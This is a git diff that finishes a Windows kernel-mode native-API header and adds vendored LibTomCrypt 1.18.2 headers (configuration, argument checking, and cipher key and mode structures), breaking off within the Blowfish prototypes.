+NTAPI +LsaGetLogonSessionData( + _In_ PLUID LogonId, + _Out_ PSECURITY_LOGON_SESSION_DATA* LogonSessionData +); + +FORCEINLINE +NTSTATUS +NTAPI +LsaFreeReturnBuffer( + _In_ PVOID Buffer +) +{ + if (Buffer) + return ExFreePool(Buffer), STATUS_SUCCESS; + else + return STATUS_INVALID_ADDRESS; +} + +#endif // _KERNEL_MODE + +// +// Only Kernel +// + +#ifdef _KERNEL_MODE + +// Dacl + +extern PACL SeSystemDefaultDacl; + +// Token + +NTKERNELAPI +SECURITY_IMPERSONATION_LEVEL +NTAPI +SeTokenImpersonationLevel( + __in PACCESS_TOKEN Token +); + +#endif // _KERNEL_MODE + + +VEIL_END() + +#if _MSC_VER >= 1200 +#pragma warning(pop) +#endif diff --git a/include/crypt-1.18.2.zip b/include/crypt-1.18.2.zip new file mode 100644 index 0000000..ae0e681 Binary files /dev/null and b/include/crypt-1.18.2.zip differ diff --git a/include/tomcrypt.h b/include/tomcrypt.h new file mode 100644 index 0000000..1192ab5 --- /dev/null +++ b/include/tomcrypt.h @@ -0,0 +1,105 @@ +/* LibTomCrypt, modular cryptographic library -- Tom St Denis + * + * LibTomCrypt is a library that provides various cryptographic + * algorithms in a highly modular and flexible manner. + * + * The library is free for all purposes without any express + * guarantee it works. + */ + +#ifndef TOMCRYPT_H_ +#define TOMCRYPT_H_ +#include +#include +#include +#include +#include +#include +#include +#include + +/* use configuration data */ +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* version */ +#define CRYPT 0x0118 +#define SCRYPT "1.18.2" + +/* max size of either a cipher/hash block or symmetric key [largest of the two] */ +#define MAXBLOCKSIZE 128 + +#ifndef TAB_SIZE +/* descriptor table size */ +#define TAB_SIZE 32 +#endif + +/* error codes [will be expanded in future releases] */ +enum { + CRYPT_OK=0, /* Result OK */ + CRYPT_ERROR, /* Generic Error */ + CRYPT_NOP, /* Not a failure but no operation was performed */ + + CRYPT_INVALID_KEYSIZE, /* Invalid key size given */ + CRYPT_INVALID_ROUNDS, /* Invalid number of rounds */ + CRYPT_FAIL_TESTVECTOR, /* Algorithm failed test vectors */ + + CRYPT_BUFFER_OVERFLOW, /* Not enough space for output */ + CRYPT_INVALID_PACKET, /* Invalid input packet given */ + + CRYPT_INVALID_PRNGSIZE, /* Invalid number of bits for a PRNG */ + CRYPT_ERROR_READPRNG, /* Could not read enough from PRNG */ + + CRYPT_INVALID_CIPHER, /* Invalid cipher specified */ + CRYPT_INVALID_HASH, /* Invalid hash specified */ + CRYPT_INVALID_PRNG, /* Invalid PRNG specified */ + + CRYPT_MEM, /* Out of memory */ + + CRYPT_PK_TYPE_MISMATCH, /* Not equivalent types of PK keys */ + CRYPT_PK_NOT_PRIVATE, /* Requires a private PK key */ + + CRYPT_INVALID_ARG, /* Generic invalid argument */ + CRYPT_FILE_NOTFOUND, /* File Not Found */ + + CRYPT_PK_INVALID_TYPE, /* Invalid type of PK key */ + + CRYPT_OVERFLOW, /* An overflow of a value was detected/prevented */ + + CRYPT_UNUSED1, /* UNUSED1 */ + + CRYPT_INPUT_TOO_LONG, /* The input was longer than expected. */ + + CRYPT_PK_INVALID_SIZE, /* Invalid size input for PK parameters */ + + CRYPT_INVALID_PRIME_SIZE,/* Invalid size of prime requested */ + CRYPT_PK_INVALID_PADDING, /* Invalid padding on input */ + + CRYPT_HASH_OVERFLOW /* Hash applied to too many bits */ +}; + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifdef __cplusplus + } +#endif + +#endif /* TOMCRYPT_H_ */ + + +/* ref: HEAD -> master, tag: v1.18.2 */ +/* git commit: 7e7eb695d581782f04b24dc444cbfde86af59853 */ +/* commit time: 2018-07-01 22:49:01 +0200 */ diff --git a/include/tomcrypt_argchk.h b/include/tomcrypt_argchk.h new file mode 100644 index 0000000..c946712 --- /dev/null +++ b/include/tomcrypt_argchk.h @@ -0,0 +1,53 @@ +/* LibTomCrypt, modular cryptographic library -- Tom St Denis + * + * LibTomCrypt is a library that provides various cryptographic + * algorithms in a highly modular and flexible manner. + * + * The library is free for all purposes without any express + * guarantee it works. + */ + +/* Defines the LTC_ARGCHK macro used within the library */ +/* ARGTYPE is defined in tomcrypt_cfg.h */ +#if ARGTYPE == 0 + +#include + +/* this is the default LibTomCrypt macro */ +#if defined(__clang__) || defined(__GNUC_MINOR__) +#define NORETURN __attribute__ ((noreturn)) +#else +#define NORETURN +#endif + +void crypt_argchk(const char *v, const char *s, int d) NORETURN; +#define LTC_ARGCHK(x) do { if (!(x)) { crypt_argchk(#x, __FILE__, __LINE__); } }while(0) +#define LTC_ARGCHKVD(x) do { if (!(x)) { crypt_argchk(#x, __FILE__, __LINE__); } }while(0) + +#elif ARGTYPE == 1 + +/* fatal type of error */ +#define LTC_ARGCHK(x) assert((x)) +#define LTC_ARGCHKVD(x) LTC_ARGCHK(x) + +#elif ARGTYPE == 2 + +#define LTC_ARGCHK(x) if (!(x)) { fprintf(stderr, "\nwarning: ARGCHK failed at %s:%d\n", __FILE__, __LINE__); } +#define LTC_ARGCHKVD(x) LTC_ARGCHK(x) + +#elif ARGTYPE == 3 + +#define LTC_ARGCHK(x) +#define LTC_ARGCHKVD(x) LTC_ARGCHK(x) + +#elif ARGTYPE == 4 + +#define LTC_ARGCHK(x) if (!(x)) return CRYPT_INVALID_ARG; +#define LTC_ARGCHKVD(x) if (!(x)) return; + +#endif + + +/* ref: HEAD -> master, tag: v1.18.2 */ +/* git commit: 7e7eb695d581782f04b24dc444cbfde86af59853 */ +/* commit time: 2018-07-01 22:49:01 +0200 */ diff --git a/include/tomcrypt_cfg.h b/include/tomcrypt_cfg.h new file mode 100644 index 0000000..ce0dd5f --- /dev/null +++ b/include/tomcrypt_cfg.h @@ -0,0 +1,283 @@ +/* LibTomCrypt, modular cryptographic library -- Tom St Denis + * + * LibTomCrypt is a library that provides various cryptographic + * algorithms in a highly modular and flexible manner. + * + * The library is free for all purposes without any express + * guarantee it works. + */ + +/* This is the build config file. + * + * With this you can setup what to inlcude/exclude automatically during any build. Just comment + * out the line that #define's the word for the thing you want to remove. phew! + */ + +#ifndef TOMCRYPT_CFG_H +#define TOMCRYPT_CFG_H + +#if defined(_WIN32) || defined(_MSC_VER) + #define LTC_CALL __cdecl +#elif !defined(LTC_CALL) + #define LTC_CALL +#endif + +#ifndef LTC_EXPORT + #define LTC_EXPORT +#endif + +/* certain platforms use macros for these, making the prototypes broken */ +#ifndef LTC_NO_PROTOTYPES + +/* you can change how memory allocation works ... */ +LTC_EXPORT void * LTC_CALL XMALLOC(size_t n); +LTC_EXPORT void * LTC_CALL XREALLOC(void *p, size_t n); +LTC_EXPORT void * LTC_CALL XCALLOC(size_t n, size_t s); +LTC_EXPORT void LTC_CALL XFREE(void *p); + +LTC_EXPORT void LTC_CALL XQSORT(void *base, size_t nmemb, size_t size, int(*compar)(const void *, const void *)); + + +/* change the clock function too */ +LTC_EXPORT clock_t LTC_CALL XCLOCK(void); + +/* various other functions */ +LTC_EXPORT void * LTC_CALL XMEMCPY(void *dest, const void *src, size_t n); +LTC_EXPORT int LTC_CALL XMEMCMP(const void *s1, const void *s2, size_t n); +LTC_EXPORT void * LTC_CALL XMEMSET(void *s, int c, size_t n); + +LTC_EXPORT int LTC_CALL XSTRCMP(const char *s1, const char *s2); + +#endif + +/* some compilers do not like "inline" (or maybe "static inline"), namely: HP cc, IBM xlc */ +#if defined(__HP_cc) || defined(__xlc__) + #define LTC_INLINE +#elif defined(_MSC_VER) + #define LTC_INLINE __inline +#else + #define LTC_INLINE inline +#endif + +/* type of argument checking, 0=default, 1=fatal and 2=error+continue, 3=nothing */ +#ifndef ARGTYPE + #define ARGTYPE 0 +#endif + +#undef LTC_ENCRYPT +#define LTC_ENCRYPT 0 +#undef LTC_DECRYPT +#define LTC_DECRYPT 1 + +/* Controls endianess and size of registers. Leave uncommented to get platform neutral [slower] code + * + * Note: in order to use the optimized macros your platform must support unaligned 32 and 64 bit read/writes. + * The x86 platforms allow this but some others [ARM for instance] do not. On those platforms you **MUST** + * use the portable [slower] macros. + */ +/* detect x86/i386 32bit */ +#if defined(__i386__) || defined(__i386) || defined(_M_IX86) + #define ENDIAN_LITTLE + #define ENDIAN_32BITWORD + #define LTC_FAST +#endif + +/* detect amd64/x64 */ +#if defined(__x86_64__) || defined(_M_X64) || defined(_M_AMD64) + #define ENDIAN_LITTLE + #define ENDIAN_64BITWORD + #define LTC_FAST +#endif + +/* detect PPC32 */ +#if defined(LTC_PPC32) + #define ENDIAN_BIG + #define ENDIAN_32BITWORD + #define LTC_FAST +#endif + +/* detects MIPS R5900 processors (PS2) */ +#if (defined(__R5900) || defined(R5900) || defined(__R5900__)) && (defined(_mips) || defined(__mips__) || defined(mips)) + #define ENDIAN_64BITWORD + #if defined(_MIPSEB) || defined(__MIPSEB) || defined(__MIPSEB__) + #define ENDIAN_BIG + #endif + #define ENDIAN_LITTLE + #endif +#endif + +/* detect AIX */ +#if defined(_AIX) && defined(_BIG_ENDIAN) + #define ENDIAN_BIG + #if defined(__LP64__) || defined(_ARCH_PPC64) + #define ENDIAN_64BITWORD + #else + #define ENDIAN_32BITWORD + #endif +#endif + +/* detect HP-UX */ +#if defined(__hpux) || defined(__hpux__) + #define ENDIAN_BIG + #if defined(__ia64) || defined(__ia64__) || defined(__LP64__) + #define ENDIAN_64BITWORD + #else + #define ENDIAN_32BITWORD + #endif +#endif + +/* detect Apple OS X */ +#if defined(__APPLE__) && defined(__MACH__) + #if defined(__LITTLE_ENDIAN__) || defined(__x86_64__) + #define ENDIAN_LITTLE + #else + #define ENDIAN_BIG + #endif + #if defined(__LP64__) || defined(__x86_64__) + #define ENDIAN_64BITWORD + #else + #define ENDIAN_32BITWORD + #endif +#endif + +/* detect SPARC and SPARC64 */ +#if defined(__sparc__) || defined(__sparc) + #define ENDIAN_BIG + #if defined(__arch64__) || defined(__sparcv9) || defined(__sparc_v9__) + #define ENDIAN_64BITWORD + #else + #define ENDIAN_32BITWORD + #endif +#endif + +/* detect IBM S390(x) */ +#if defined(__s390x__) || defined(__s390__) + #define ENDIAN_BIG + #if defined(__s390x__) + #define ENDIAN_64BITWORD + #else + #define ENDIAN_32BITWORD + #endif +#endif + +/* detect PPC64 */ +#if defined(__powerpc64__) || defined(__ppc64__) || defined(__PPC64__) + #define ENDIAN_64BITWORD + #if __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__ + #define ENDIAN_BIG + #elif __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__ + #define ENDIAN_LITTLE + #endif + #define LTC_FAST +#endif + +/* endianness fallback */ +#if !defined(ENDIAN_BIG) && !defined(ENDIAN_LITTLE) + #if defined(_BYTE_ORDER) && _BYTE_ORDER == _BIG_ENDIAN || \ + defined(__BYTE_ORDER) && __BYTE_ORDER == __BIG_ENDIAN || \ + defined(__BYTE_ORDER__) && __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__ || \ + defined(__BIG_ENDIAN__) || \ + defined(__ARMEB__) || defined(__THUMBEB__) || defined(__AARCH64EB__) || \ + defined(_MIPSEB) || defined(__MIPSEB) || defined(__MIPSEB__) + #define ENDIAN_BIG + #elif defined(_BYTE_ORDER) && _BYTE_ORDER == _LITTLE_ENDIAN || \ + defined(__BYTE_ORDER) && __BYTE_ORDER == __LITTLE_ENDIAN || \ + defined(__BYTE_ORDER__) && __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__ || \ + defined(__LITTLE_ENDIAN__) || \ + defined(__ARMEL__) || defined(__THUMBEL__) || defined(__AARCH64EL__) || \ + defined(_MIPSEL) || defined(__MIPSEL) || defined(__MIPSEL__) + #define ENDIAN_LITTLE + #else + #error Cannot detect endianness + #endif +#endif + +/* ulong64: 64-bit data type */ +#ifdef _MSC_VER + #define CONST64(n) n ## ui64 + typedef unsigned __int64 ulong64; +#else + #define CONST64(n) n ## ULL + typedef unsigned long long ulong64; +#endif + +/* ulong32: "32-bit at least" data type */ +#if defined(__x86_64__) || defined(_M_X64) || defined(_M_AMD64) || \ + defined(__powerpc64__) || defined(__ppc64__) || defined(__PPC64__) || \ + defined(__s390x__) || defined(__arch64__) || defined(__aarch64__) || \ + defined(__sparcv9) || defined(__sparc_v9__) || defined(__sparc64__) || \ + defined(__ia64) || defined(__ia64__) || defined(__itanium__) || defined(_M_IA64) || \ + defined(__LP64__) || defined(_LP64) || defined(__64BIT__) + typedef unsigned ulong32; + #if !defined(ENDIAN_64BITWORD) && !defined(ENDIAN_32BITWORD) + #define ENDIAN_64BITWORD + #endif +#else + typedef unsigned long ulong32; + #if !defined(ENDIAN_64BITWORD) && !defined(ENDIAN_32BITWORD) + #define ENDIAN_32BITWORD + #endif +#endif + +#if defined(ENDIAN_64BITWORD) && !defined(_MSC_VER) +typedef unsigned long long ltc_mp_digit; +#else +typedef unsigned long ltc_mp_digit; +#endif + +/* No asm is a quick way to disable anything "not portable" */ +#ifdef LTC_NO_ASM + #define ENDIAN_NEUTRAL + #undef ENDIAN_32BITWORD + #undef ENDIAN_64BITWORD + #undef LTC_FAST + #define LTC_NO_ROLC + #define LTC_NO_BSWAP +#endif + +/* No LTC_FAST if: explicitly disabled OR non-gcc/non-clang compiler OR old gcc OR using -ansi -std=c99 */ +#if defined(LTC_NO_FAST) || (__GNUC__ < 4) || defined(__STRICT_ANSI__) + #undef LTC_FAST +#endif + +#ifdef LTC_FAST + #define LTC_FAST_TYPE_PTR_CAST(x) ((LTC_FAST_TYPE*)(void*)(x)) + #ifdef ENDIAN_64BITWORD + typedef ulong64 __attribute__((__may_alias__)) LTC_FAST_TYPE; + #else + typedef ulong32 __attribute__((__may_alias__)) LTC_FAST_TYPE; + #endif +#endif + +#if !defined(ENDIAN_NEUTRAL) && (defined(ENDIAN_BIG) || defined(ENDIAN_LITTLE)) && !(defined(ENDIAN_32BITWORD) || defined(ENDIAN_64BITWORD)) + #error You must specify a word size as well as endianess in tomcrypt_cfg.h +#endif + +#if !(defined(ENDIAN_BIG) || defined(ENDIAN_LITTLE)) + #define ENDIAN_NEUTRAL +#endif + +#if (defined(ENDIAN_32BITWORD) && defined(ENDIAN_64BITWORD)) + #error Cannot be 32 and 64 bit words... +#endif + +/* gcc 4.3 and up has a bswap builtin; detect it by gcc version. + * clang also supports the bswap builtin, and although clang pretends + * to be gcc (macro-wise, anyway), clang pretends to be a version + * prior to gcc 4.3, so we can't detect bswap that way. Instead, + * clang has a __has_builtin mechanism that can be used to check + * for builtins: + * http://clang.llvm.org/docs/LanguageExtensions.html#feature_check */ +#ifndef __has_builtin + #define __has_builtin(x) 0 +#endif +#if !defined(LTC_NO_BSWAP) && defined(__GNUC__) && \ + ((__GNUC__ * 100 + __GNUC_MINOR__ >= 403) || \ + (__has_builtin(__builtin_bswap32) && __has_builtin(__builtin_bswap64))) + #define LTC_HAVE_BSWAP_BUILTIN +#endif + + +/* ref: HEAD -> master, tag: v1.18.2 */ +/* git commit: 7e7eb695d581782f04b24dc444cbfde86af59853 */ +/* commit time: 2018-07-01 22:49:01 +0200 */ diff --git a/include/tomcrypt_cipher.h b/include/tomcrypt_cipher.h new file mode 100644 index 0000000..6f0c30b --- /dev/null +++ b/include/tomcrypt_cipher.h @@ -0,0 +1,1008 @@ +/* LibTomCrypt, modular cryptographic library -- Tom St Denis + * + * LibTomCrypt is a library that provides various cryptographic + * algorithms in a highly modular and flexible manner. + * + * The library is free for all purposes without any express + * guarantee it works. + */ + +/* ---- SYMMETRIC KEY STUFF ----- + * + * We put each of the ciphers scheduled keys in their own structs then we put all of + * the key formats in one union. This makes the function prototypes easier to use. + */ +#ifdef LTC_BLOWFISH +struct blowfish_key { + ulong32 S[4][256]; + ulong32 K[18]; +}; +#endif + +#ifdef LTC_RC5 +struct rc5_key { + int rounds; + ulong32 K[50]; +}; +#endif + +#ifdef LTC_RC6 +struct rc6_key { + ulong32 K[44]; +}; +#endif + +#ifdef LTC_SAFERP +struct saferp_key { + unsigned char K[33][16]; + long rounds; +}; +#endif + +#ifdef LTC_RIJNDAEL +struct rijndael_key { + ulong32 eK[60], dK[60]; + int Nr; +}; +#endif + +#ifdef LTC_KSEED +struct kseed_key { + ulong32 K[32], dK[32]; +}; +#endif + +#ifdef LTC_KASUMI +struct kasumi_key { + ulong32 KLi1[8], KLi2[8], + KOi1[8], KOi2[8], KOi3[8], + KIi1[8], KIi2[8], KIi3[8]; +}; +#endif + +#ifdef LTC_XTEA +struct xtea_key { + unsigned long A[32], B[32]; +}; +#endif + +#ifdef LTC_TWOFISH +#ifndef LTC_TWOFISH_SMALL + struct twofish_key { + ulong32 S[4][256], K[40]; + }; +#else + struct twofish_key { + ulong32 K[40]; + unsigned char S[32], start; + }; +#endif +#endif + +#ifdef LTC_SAFER +#define LTC_SAFER_K64_DEFAULT_NOF_ROUNDS 6 +#define LTC_SAFER_K128_DEFAULT_NOF_ROUNDS 10 +#define LTC_SAFER_SK64_DEFAULT_NOF_ROUNDS 8 +#define LTC_SAFER_SK128_DEFAULT_NOF_ROUNDS 10 +#define LTC_SAFER_MAX_NOF_ROUNDS 13 +#define LTC_SAFER_BLOCK_LEN 8 +#define LTC_SAFER_KEY_LEN (1 + LTC_SAFER_BLOCK_LEN * (1 + 2 * LTC_SAFER_MAX_NOF_ROUNDS)) +typedef unsigned char safer_block_t[LTC_SAFER_BLOCK_LEN]; +typedef unsigned char safer_key_t[LTC_SAFER_KEY_LEN]; +struct safer_key { safer_key_t key; }; +#endif + +#ifdef LTC_RC2 +struct rc2_key { unsigned xkey[64]; }; +#endif + +#ifdef LTC_DES +struct des_key { + ulong32 ek[32], dk[32]; +}; + +struct des3_key { + ulong32 ek[3][32], dk[3][32]; +}; +#endif + +#ifdef LTC_CAST5 +struct cast5_key { + ulong32 K[32], keylen; +}; +#endif + +#ifdef LTC_NOEKEON +struct noekeon_key { + ulong32 K[4], dK[4]; +}; +#endif + +#ifdef LTC_SKIPJACK +struct skipjack_key { + unsigned char key[10]; +}; +#endif + +#ifdef LTC_KHAZAD +struct khazad_key { + ulong64 roundKeyEnc[8 + 1]; + ulong64 roundKeyDec[8 + 1]; +}; +#endif + +#ifdef LTC_ANUBIS +struct anubis_key { + int keyBits; + int R; + ulong32 roundKeyEnc[18 + 1][4]; + ulong32 roundKeyDec[18 + 1][4]; +}; +#endif + +#ifdef LTC_MULTI2 +struct multi2_key { + int N; + ulong32 uk[8]; +}; +#endif + +#ifdef LTC_CAMELLIA +struct camellia_key { + int R; + ulong64 kw[4], k[24], kl[6]; +}; +#endif + +typedef union Symmetric_key { +#ifdef LTC_DES + struct des_key des; + struct des3_key des3; +#endif +#ifdef LTC_RC2 + struct rc2_key rc2; +#endif +#ifdef LTC_SAFER + struct safer_key safer; +#endif +#ifdef LTC_TWOFISH + struct twofish_key twofish; +#endif +#ifdef LTC_BLOWFISH + struct blowfish_key blowfish; +#endif +#ifdef LTC_RC5 + struct rc5_key rc5; +#endif +#ifdef LTC_RC6 + struct rc6_key rc6; +#endif +#ifdef LTC_SAFERP + struct saferp_key saferp; +#endif +#ifdef LTC_RIJNDAEL + struct rijndael_key rijndael; +#endif +#ifdef LTC_XTEA + struct xtea_key xtea; +#endif +#ifdef LTC_CAST5 + struct cast5_key cast5; +#endif +#ifdef LTC_NOEKEON + struct noekeon_key noekeon; +#endif +#ifdef LTC_SKIPJACK + struct skipjack_key skipjack; +#endif +#ifdef LTC_KHAZAD + struct khazad_key khazad; +#endif +#ifdef LTC_ANUBIS + struct anubis_key anubis; +#endif +#ifdef LTC_KSEED + struct kseed_key kseed; +#endif +#ifdef LTC_KASUMI + struct kasumi_key kasumi; +#endif +#ifdef LTC_MULTI2 + struct multi2_key multi2; +#endif +#ifdef LTC_CAMELLIA + struct camellia_key camellia; +#endif + void *data; +} symmetric_key; + +#ifdef LTC_ECB_MODE +/** A block cipher ECB structure */ +typedef struct { + /** The index of the cipher chosen */ + int cipher, + /** The block size of the given cipher */ + blocklen; + /** The scheduled key */ + symmetric_key key; +} symmetric_ECB; +#endif + +#ifdef LTC_CFB_MODE +/** A block cipher CFB structure */ +typedef struct { + /** The index of the cipher chosen */ + int cipher, + /** The block size of the given cipher */ + blocklen, + /** The padding offset */ + padlen; + /** The current IV */ + unsigned char IV[MAXBLOCKSIZE], + /** The pad used to encrypt/decrypt */ + pad[MAXBLOCKSIZE]; + /** The scheduled key */ + symmetric_key key; +} symmetric_CFB; +#endif + +#ifdef LTC_OFB_MODE +/** A block cipher OFB structure */ +typedef struct { + /** The index of the cipher chosen */ + int cipher, + /** The block size of the given cipher */ + blocklen, + /** The padding offset */ + padlen; + /** The current IV */ + unsigned char IV[MAXBLOCKSIZE]; + /** The scheduled key */ + symmetric_key key; +} symmetric_OFB; +#endif + +#ifdef LTC_CBC_MODE +/** A block cipher CBC structure */ +typedef struct { + /** The index of the cipher chosen */ + int cipher, + /** The block size of the given cipher */ + blocklen; + /** The current IV */ + unsigned char IV[MAXBLOCKSIZE]; + /** The scheduled key */ + symmetric_key key; +} symmetric_CBC; +#endif + + +#ifdef LTC_CTR_MODE +/** A block cipher CTR structure */ +typedef struct { + /** The index of the cipher chosen */ + int cipher, + /** The block size of the given cipher */ + blocklen, + /** The padding offset */ + padlen, + /** The mode (endianess) of the CTR, 0==little, 1==big */ + mode, + /** counter width */ + ctrlen; + + /** The counter */ + unsigned char ctr[MAXBLOCKSIZE], + /** The pad used to encrypt/decrypt */ + pad[MAXBLOCKSIZE]; + /** The scheduled key */ + symmetric_key key; +} symmetric_CTR; +#endif + + +#ifdef LTC_LRW_MODE +/** A LRW structure */ +typedef struct { + /** The index of the cipher chosen (must be a 128-bit block cipher) */ + int cipher; + + /** The current IV */ + unsigned char IV[16], + + /** the tweak key */ + tweak[16], + + /** The current pad, it's the product of the first 15 bytes against the tweak key */ + pad[16]; + + /** The scheduled symmetric key */ + symmetric_key key; + +#ifdef LTC_LRW_TABLES + /** The pre-computed multiplication table */ + unsigned char PC[16][256][16]; +#endif +} symmetric_LRW; +#endif + +#ifdef LTC_F8_MODE +/** A block cipher F8 structure */ +typedef struct { + /** The index of the cipher chosen */ + int cipher, + /** The block size of the given cipher */ + blocklen, + /** The padding offset */ + padlen; + /** The current IV */ + unsigned char IV[MAXBLOCKSIZE], + MIV[MAXBLOCKSIZE]; + /** Current block count */ + ulong32 blockcnt; + /** The scheduled key */ + symmetric_key key; +} symmetric_F8; +#endif + + +/** cipher descriptor table, last entry has "name == NULL" to mark the end of table */ +extern struct ltc_cipher_descriptor { + /** name of cipher */ + const char *name; + /** internal ID */ + unsigned char ID; + /** min keysize (octets) */ + int min_key_length, + /** max keysize (octets) */ + max_key_length, + /** block size (octets) */ + block_length, + /** default number of rounds */ + default_rounds; + /** Setup the cipher + @param key The input symmetric key + @param keylen The length of the input key (octets) + @param num_rounds The requested number of rounds (0==default) + @param skey [out] The destination of the scheduled key + @return CRYPT_OK if successful + */ + int (*setup)(const unsigned char *key, int keylen, int num_rounds, symmetric_key *skey); + /** Encrypt a block + @param pt The plaintext + @param ct [out] The ciphertext + @param skey The scheduled key + @return CRYPT_OK if successful + */ + int (*ecb_encrypt)(const unsigned char *pt, unsigned char *ct, symmetric_key *skey); + /** Decrypt a block + @param ct The ciphertext + @param pt [out] The plaintext + @param skey The scheduled key + @return CRYPT_OK if successful + */ + int (*ecb_decrypt)(const unsigned char *ct, unsigned char *pt, symmetric_key *skey); + /** Test the block cipher + @return CRYPT_OK if successful, CRYPT_NOP if self-testing has been disabled + */ + int (*test)(void); + + /** Terminate the context + @param skey The scheduled key + */ + void (*done)(symmetric_key *skey); + + /** Determine a key size + @param keysize [in/out] The size of the key desired and the suggested size + @return CRYPT_OK if successful + */ + int (*keysize)(int *keysize); + +/** Accelerators **/ + /** Accelerated ECB encryption + @param pt Plaintext + @param ct Ciphertext + @param blocks The number of complete blocks to process + @param skey The scheduled key context + @return CRYPT_OK if successful + */ + int (*accel_ecb_encrypt)(const unsigned char *pt, unsigned char *ct, unsigned long blocks, symmetric_key *skey); + + /** Accelerated ECB decryption + @param pt Plaintext + @param ct Ciphertext + @param blocks The number of complete blocks to process + @param skey The scheduled key context + @return CRYPT_OK if successful + */ + int (*accel_ecb_decrypt)(const unsigned char *ct, unsigned char *pt, unsigned long blocks, symmetric_key *skey); + + /** Accelerated CBC encryption + @param pt Plaintext + @param ct Ciphertext + @param blocks The number of complete blocks to process + @param IV The initial value (input/output) + @param skey The scheduled key context + @return CRYPT_OK if successful + */ + int (*accel_cbc_encrypt)(const unsigned char *pt, unsigned char *ct, unsigned long blocks, unsigned char *IV, symmetric_key *skey); + + /** Accelerated CBC decryption + @param pt Plaintext + @param ct Ciphertext + @param blocks The number of complete blocks to process + @param IV The initial value (input/output) + @param skey The scheduled key context + @return CRYPT_OK if successful + */ + int (*accel_cbc_decrypt)(const unsigned char *ct, unsigned char *pt, unsigned long blocks, unsigned char *IV, symmetric_key *skey); + + /** Accelerated CTR encryption + @param pt Plaintext + @param ct Ciphertext + @param blocks The number of complete blocks to process + @param IV The initial value (input/output) + @param mode little or big endian counter (mode=0 or mode=1) + @param skey The scheduled key context + @return CRYPT_OK if successful + */ + int (*accel_ctr_encrypt)(const unsigned char *pt, unsigned char *ct, unsigned long blocks, unsigned char *IV, int mode, symmetric_key *skey); + + /** Accelerated LRW + @param pt Plaintext + @param ct Ciphertext + @param blocks The number of complete blocks to process + @param IV The initial value (input/output) + @param tweak The LRW tweak + @param skey The scheduled key context + @return CRYPT_OK if successful + */ + int (*accel_lrw_encrypt)(const unsigned char *pt, unsigned char *ct, unsigned long blocks, unsigned char *IV, const unsigned char *tweak, symmetric_key *skey); + + /** Accelerated LRW + @param ct Ciphertext + @param pt Plaintext + @param blocks The number of complete blocks to process + @param IV The initial value (input/output) + @param tweak The LRW tweak + @param skey The scheduled key context + @return CRYPT_OK if successful + */ + int (*accel_lrw_decrypt)(const unsigned char *ct, unsigned char *pt, unsigned long blocks, unsigned char *IV, const unsigned char *tweak, symmetric_key *skey); + + /** Accelerated CCM packet (one-shot) + @param key The secret key to use + @param keylen The length of the secret key (octets) + @param uskey A previously scheduled key [optional can be NULL] + @param nonce The session nonce [use once] + @param noncelen The length of the nonce + @param header The header for the session + @param headerlen The length of the header (octets) + @param pt [out] The plaintext + @param ptlen The length of the plaintext (octets) + @param ct [out] The ciphertext + @param tag [out] The destination tag + @param taglen [in/out] The max size and resulting size of the authentication tag + @param direction Encrypt or Decrypt direction (0 or 1) + @return CRYPT_OK if successful + */ + int (*accel_ccm_memory)( + const unsigned char *key, unsigned long keylen, + symmetric_key *uskey, + const unsigned char *nonce, unsigned long noncelen, + const unsigned char *header, unsigned long headerlen, + unsigned char *pt, unsigned long ptlen, + unsigned char *ct, + unsigned char *tag, unsigned long *taglen, + int direction); + + /** Accelerated GCM packet (one shot) + @param key The secret key + @param keylen The length of the secret key + @param IV The initialization vector + @param IVlen The length of the initialization vector + @param adata The additional authentication data (header) + @param adatalen The length of the adata + @param pt The plaintext + @param ptlen The length of the plaintext (ciphertext length is the same) + @param ct The ciphertext + @param tag [out] The MAC tag + @param taglen [in/out] The MAC tag length + @param direction Encrypt or Decrypt mode (GCM_ENCRYPT or GCM_DECRYPT) + @return CRYPT_OK on success + */ + int (*accel_gcm_memory)( + const unsigned char *key, unsigned long keylen, + const unsigned char *IV, unsigned long IVlen, + const unsigned char *adata, unsigned long adatalen, + unsigned char *pt, unsigned long ptlen, + unsigned char *ct, + unsigned char *tag, unsigned long *taglen, + int direction); + + /** Accelerated one shot LTC_OMAC + @param key The secret key + @param keylen The key length (octets) + @param in The message + @param inlen Length of message (octets) + @param out [out] Destination for tag + @param outlen [in/out] Initial and final size of out + @return CRYPT_OK on success + */ + int (*omac_memory)( + const unsigned char *key, unsigned long keylen, + const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen); + + /** Accelerated one shot XCBC + @param key The secret key + @param keylen The key length (octets) + @param in The message + @param inlen Length of message (octets) + @param out [out] Destination for tag + @param outlen [in/out] Initial and final size of out + @return CRYPT_OK on success + */ + int (*xcbc_memory)( + const unsigned char *key, unsigned long keylen, + const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen); + + /** Accelerated one shot F9 + @param key The secret key + @param keylen The key length (octets) + @param in The message + @param inlen Length of message (octets) + @param out [out] Destination for tag + @param outlen [in/out] Initial and final size of out + @return CRYPT_OK on success + @remark Requires manual padding + */ + int (*f9_memory)( + const unsigned char *key, unsigned long keylen, + const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen); + + /** Accelerated XTS encryption + @param pt Plaintext + @param ct Ciphertext + @param blocks The number of complete blocks to process + @param tweak The 128-bit encryption tweak (input/output). + The tweak should not be encrypted on input, but + next tweak will be copied encrypted on output. + @param skey1 The first scheduled key context + @param skey2 The second scheduled key context + @return CRYPT_OK if successful + */ + int (*accel_xts_encrypt)(const unsigned char *pt, unsigned char *ct, + unsigned long blocks, unsigned char *tweak, symmetric_key *skey1, + symmetric_key *skey2); + + /** Accelerated XTS decryption + @param ct Ciphertext + @param pt Plaintext + @param blocks The number of complete blocks to process + @param tweak The 128-bit encryption tweak (input/output). + The tweak should not be encrypted on input, but + next tweak will be copied encrypted on output. + @param skey1 The first scheduled key context + @param skey2 The second scheduled key context + @return CRYPT_OK if successful + */ + int (*accel_xts_decrypt)(const unsigned char *ct, unsigned char *pt, + unsigned long blocks, unsigned char *tweak, symmetric_key *skey1, + symmetric_key *skey2); +} cipher_descriptor[]; + +#ifdef LTC_BLOWFISH +int blowfish_setup(const unsigned char *key, int keylen, int num_rounds, symmetric_key *skey); +int blowfish_ecb_encrypt(const unsigned char *pt, unsigned char *ct, symmetric_key *skey); 